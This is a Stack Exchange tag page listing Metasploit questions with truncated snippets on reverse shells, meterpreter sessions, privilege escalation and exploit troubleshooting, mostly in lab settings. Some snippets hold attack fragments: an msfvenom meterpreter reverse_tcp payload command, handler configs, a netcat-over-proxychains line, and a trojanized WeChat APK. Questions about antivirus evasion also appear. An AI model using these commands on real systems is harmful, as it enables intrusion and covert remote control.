Stack Exchange Network

Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [metasploit]

Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

1
vote
0answers
18 views

openVAS: uninitialized constant OpenVASOMP::OMPConnectionError

I was searching in many forums regarding this issue like here and here, but they were mentioning using port 9390. I launched OpenVAS on port 9390, but I still get the same error. I am using openVAS ...
0
votes
1answer
29 views

Metasploit Bruteforce Errors [on hold]

I use metasploit pro for penetration testing. For one of the servers, i was running bruteforce check. While checking, i received these errors. Can anyone tell me if someone has come across such errors ...
1
vote
1answer
71 views

Get the privileges of root with the user with I do an exploit with Shellshock [on hold]

I got the remote control of a linux machine with Shellshock attack in Kali Linux (attacker machine) to a TinyCore Linux (victim machine), I used this module to attack the CGI vulnerability: use ...
0
votes
0answers
49 views

Exploit TinyCore Linux 4.2.9 with DirtyCow remote from Kali Linux

Do you know if is possible execute an exploit from Kali Linux for obtain root privileges in a remote machine (that I have exploited before with a local user) with tiny-core Linux version 4.2.9, I've ...
0
votes
0answers
18 views

Metasploit - AutoRunScript for a shell session

I have a bunch of bash commands I want to run when the shell_reverse_tcp session is hooked. I tried to : put all my commands into a file mycommands.bash then "set AutoRunScript mycommands.bash" -> ...
0
votes
0answers
19 views

ms08_067_netapi Fingerprint: Unknown - - lang:Unknown

I'm trying to get my first exploit to work on metasploit. I'm working with the book "Penetration Testing - A hands-on introduction to Hacking". I'm trying to use the ms08_76_netpi exploit on Windows ...
-1
votes
1answer
41 views

msfvenom produces different op codes when format is given with 'c' instead of 'python'

I still do not understand the msfvenom format ( -f ) parameter regarding the resulting op codes. I do not understand why a payload consists of different op codes when the format ( -f ) is different, ...
0
votes
0answers
25 views

Metasploit : How to put non-post modules in an AutoRunScript

In multi/handler I want to add some AutoRunScripts when the session begins : exploit/osx/local/persistence. But it doesn't work because it's not a post/ module.
0
votes
1answer
34 views

Metasploit: java_signed_applet attack hangs after user response

I am trying to perform a client side attack with Metasploit on a 32 bit Windows 7 Professional N (SP1) victim. I have Windows Defender and Firewall disabled and Java Control Panel Security set at ...
0
votes
1answer
56 views

Metasploit Handler doesnt show options

I am trying to use exploit/multi/handler module which I have used before and it does not allow me to set options. The options commands displays nothing. I tried reinstalling (apt-get remove metasploit-...
-1
votes
1answer
90 views

How to identify the vulnerabilities in a target computer?

I ran an exploit on the victim and used a msfvenom payload. I am on the victim's computer but I have not the root privileges. I tried to use getsystem command for getting privilege but it failed. So ...
0
votes
0answers
66 views

Msfvenom : Create Windows payload that asks for admin privileges automatically

So I can create a Windows payload with msfvenom with a simple command, for example : msfvenom --platform Windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.58.109 LPORT=4485 EXITFUNC=...
1
vote
1answer
96 views

Metasploit MacOS victim - tools to enable remote desktop / GUI view of the victim

If the exploited victim OS is Windows, metasploit has the getgui command to run RDP. Then he can manipulate the victim OS through the GUI desktop interface. meterpreter > run getgui -u loneferret -...
-2
votes
1answer
82 views

what is metasploit framework even used for? [closed]

I know how the Metasploit framework works and I know that it can generate payloads and such, my question is if there is a way to evade anti-virus using Metasploit payloads. What exact purpose does it ...
1
vote
1answer
92 views

Reverse PHP shell disconnecting when netcat listener

Whilst performing a penetration test on a testing box, I came across a vulnerability regarding LotusCMS: https://www.exploit-db.com/exploits/18565 Rather than rely on Metasploit or Meterpreter to ...
1
vote
0answers
68 views

Metasploit: Exploit not starting connection to handler [closed]

I am using an Android 4.4 VirtualMachine and a Kali Linux 2018.4 VirtualMachine. Lan Network: Kali VM : 10.0.0.27 Android VM : 10.0.0.29 I did a .apk of the WeChat app with kwetza on Kali : git ...
1
vote
0answers
31 views

Limited ESP Length in Buffer Overflow Sample C Program

May I know how to increase the length of ESP on a sample c program which allows me to execute shellcode on the stack. However, as of now, the sample c program only has an ESP length of 61 thus ...
2
votes
1answer
609 views

Nessus found a vulnerability, but no corresponding exploit on Metasploit : How to run with meterpreter

I ran Nessus on a local network, it found a critical vulnerability for the router: MikroTik RouterOS < 6.41.3 SMB Buffer Overflow (Vulnerability description : Exploit-db) But I can't find any ...
2
votes
1answer
57 views

Can't log in dvwa with a simple python program, even though login credentials are good

import requests target_url = "http://127.0.0.1/dvwa/login.php" data_dict = {"csrfmiddlewaretoken": "bbbfeed6e1aea50f14a51a331054022c", "username": "admin", "password": "password", "Login": "Submit"} ...
4
votes
1answer
271 views

Metasploit is not detecting newly imported python exploit

I have added OpenSSH 7.2p2 - Username Enumeration exploit to Metasploit, which is a python exploit. But after so, it does not detect that exploit every way I tried. I have placed it under the ...
1
vote
1answer
223 views

Windows 64-bit Reverse TCP Shell not working

I am sending shellcode to a 64-bit binary running on a Windows machine. This binary, copies the shellcode to an executable region of memory and executes it. I am generating the shellcode using ...
1
vote
0answers
98 views

How to run Metasploit WMAP on site that requires SNI

Apologies if this an obvious question, documentation seems to be a bit thin on the ground. I'm attempting to scan (with permission) a site that redirects to its https version, and requires SNI to ...
1
vote
1answer
271 views

Username and password files in Kali [duplicate]

I'm new to pen-testing world. I'm trying to learn how to gain access through telnet service opened on port 23. I'm using Metasploit. The first approach I'm trying is using the telnet_login module to ...
0
votes
0answers
64 views

Using custom shellcode to create custom payload in Metasploit [duplicate]

I'm new to the Metasploit world. I was wondering if I could transform my hand-made shellcode into a payload that I can easily use with various exploits. I've tried searching the internet but I didn't ...
0
votes
1answer
57 views

How to set autorunscript of core commands?

I'm trying to automate scripts of an Android Metasploit payload. I can successfully automate any script on the /post module, however, I'm trying to automate geolocate, dump_calllog and others that are ...
-2
votes
1answer
127 views

Open ports 6002 and 9002? [closed]

So I was scanning a clients computer and nmap came up with two open ports: 6002 and 9002. Both are running Telnet and both have the same banner in Spanish: Spanish to English translation You are ...
0
votes
1answer
64 views

Switching to native meterpreter

I've managed to get a meterpreter session running between my Kali Linux and Windows 2016 Server by uploading a payload as an Apache Axis2 web service. I want to change to a windows meterpreter(in ...
1
vote
1answer
97 views

Programming Metasploit

I try to make a Metasploit AutoRunScript for android. The First .rc file has this config use exploit/multi/handler set PAYLOAD android/meterpreter/reverse_tcp set LHOST xxx.xxx.xxx.xxx (my IP) set ...
0
votes
1answer
46 views

Disable modules in Metasploit Pro

I have been using Metasploit pro for last few days. I understand that exploiting in Pro version is automatic using exploit ranks(GUI). But If I want to disable certain modules while exploiting, is it ...
5
votes
1answer
1k views

How would I turn an open telnet shell into a Metasploit session?

I'm trying to pivot using a metasploitable2 system, which has a shell port open in a scan: port status service 1524/tcp open shell Accessing the root shell is easy enough in telnet, ...
0
votes
2answers
325 views

SambaCry CVE-2017-7494 returns “Exploit completed, but no session was created”

I am using this exploit on msfconsole to exploit a VM with samba and the configuration is as follows: Module options (exploit/linux/samba/sambacry) Payload options (linux/x64/meterpreter/reverse_tcp) ...
-1
votes
0answers
171 views

Uninstall metasploit completely on Ubuntu

So I want to remove completely Metasploit because there was a problem that I couldn't describe. And I want to reinstall it after that. I couldn't find the uninstall script so I deleted 2 folders ...
0
votes
0answers
44 views

trans2open not working on metasploit

I am using metasploit to exploit a vulnerable version of Samba on a remote host. Samba version 2.2.8, downloaded directly from the cve site. But when I use trans2open exploit with payload (generic/...
1
vote
1answer
112 views

Metasploit x86/unicode_upper failed with “An encoding exception occurred”

I'am playing a bit with assembler and I decided to test out how metasploit encodes a payload into Unicode uppercase characters as assembly instructions which are meant to be decoded by itself. So I ...
0
votes
0answers
223 views

From SQL Injection in SQLite to shell

I need to obtain a shell from an SQL injection over an application with sqlite database. Currently my exploit looks like the following: lucian@0x90:~/$ proxychains nc 10.185.10.55 1101 ProxyChains-3....
1
vote
2answers
76 views

nmap -sn through proxychains fails

Why I can not do the following with nmap? proxychains nmap -A -v 10.185.11.0/24 Output: ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.60 ( https://nmap.org ) at 2018-08-07 10:12 EEST ...
5
votes
1answer
2k views

When to use a Bind shell vs. a Reverse shell?

Metasploit question:- I know what these shells are but am a little confused on the execution. Assuming that you successfully get a meterpreter shell and want to upload a backdoor, what should you ...
0
votes
1answer
488 views

Difference between Run and Exploit

When using Metasploit for running exploits you have two options: run exploit what is the difference between these two commands?
0
votes
1answer
86 views

location of msfconsole generated executable in Kali linux [closed]

I am new to security and pen testing. I am using metasploit to generate my payload. I have generated a payload using generate -t exe -f shell.exe. But I cant find the location of the shell.exe ...
0
votes
1answer
291 views

The old syntax for showing payload options in msfvenom does not work

I've tried so many times with different syntax to display the payload options in msfvenom. However, I cannot get it to run. Version 1. [*] exec: msfvenom -p windows/shell/bind_tcp --payload-options ...
3
votes
2answers
151 views

Meterpreter shell and system shell define?

What is the difference between Meterpreter shell and system shell? For example, if I found some vulnerability in a system which allowed both shells, then what should I go for, system shell or ...
0
votes
0answers
172 views

Metasploit INFILENAME: invalid option

I am using MSF on Kali but I ran into a problem. I am trying adobe_pdf_embedded_exe and I set INFILENAME to readme.pdf. Everything else works fine, but when I try to run it using the command exploit ,...
1
vote
1answer
113 views

How does Client-Side-Exploitation get the System-level-shell in Metasploit?

For example, if my client is using a vulnerable Internet Explorer which was vulnerable to the Aurora Vulnerability (I know its old and patch, but for now, let's assume) then I use Metasploit Client-...
1
vote
2answers
135 views

Hacking by metasploit

Is it possible to hack an Android device while the victim is using vpn? I've tried hacking my Android device on WAN and it worked but when I connected my cellphone to a vpn network it seemed that the ...
0
votes
0answers
219 views

Pen testing, Windows: Using credentials to impersonate users from SYSTEM

Following simple scenario during pen test: I have remote code execution on a windows box and am SYSTEM (either because of the way I got onto the box or because of the persistence method I chose) I ...
1
vote
0answers
495 views

Handler failed to bind to ip:port (my port is open) [closed]

I was trying to do some connection testing with my metasploit on external network, but I can not connect to it even though my port is open. Testing the port But when I try to connect to make a ...
0
votes
1answer
249 views

Meterpreter file upload - segmentation fault

I'm doing some experiments on two VMs, one running Kali and the other running Ubuntu. I have a problem with the "upload" command of Meterpreter. In particular, I already open a reverse tcp session ...
1
vote
0answers
246 views

Metasploit: Lateral movement with named pipe pivot

I‘m trying to demonstrate lateral movement to a windows machine that is not directly reachable and should connect back via named pipe: Windows machine w1 does reverse_tcp/reverse_https to attacker. ...
1
vote
1answer
360 views

Metasploit: Executables are not working after Reverse Shell

I tried connecting to a windows box and create a reverse shell back to my Kali Linux machine. Reverse shell is created and I get the meterpreter prompt. Commands Used: Payload: windows/shell/...
-2
votes
1answer
149 views

Is it possible to write all metasploit command in a text file and run it?

I wonder, is it possible to load a command text file with metasploit? for example if I want to use a scanner module I can just write all the command in a text file and run it with the metasploit, so I ...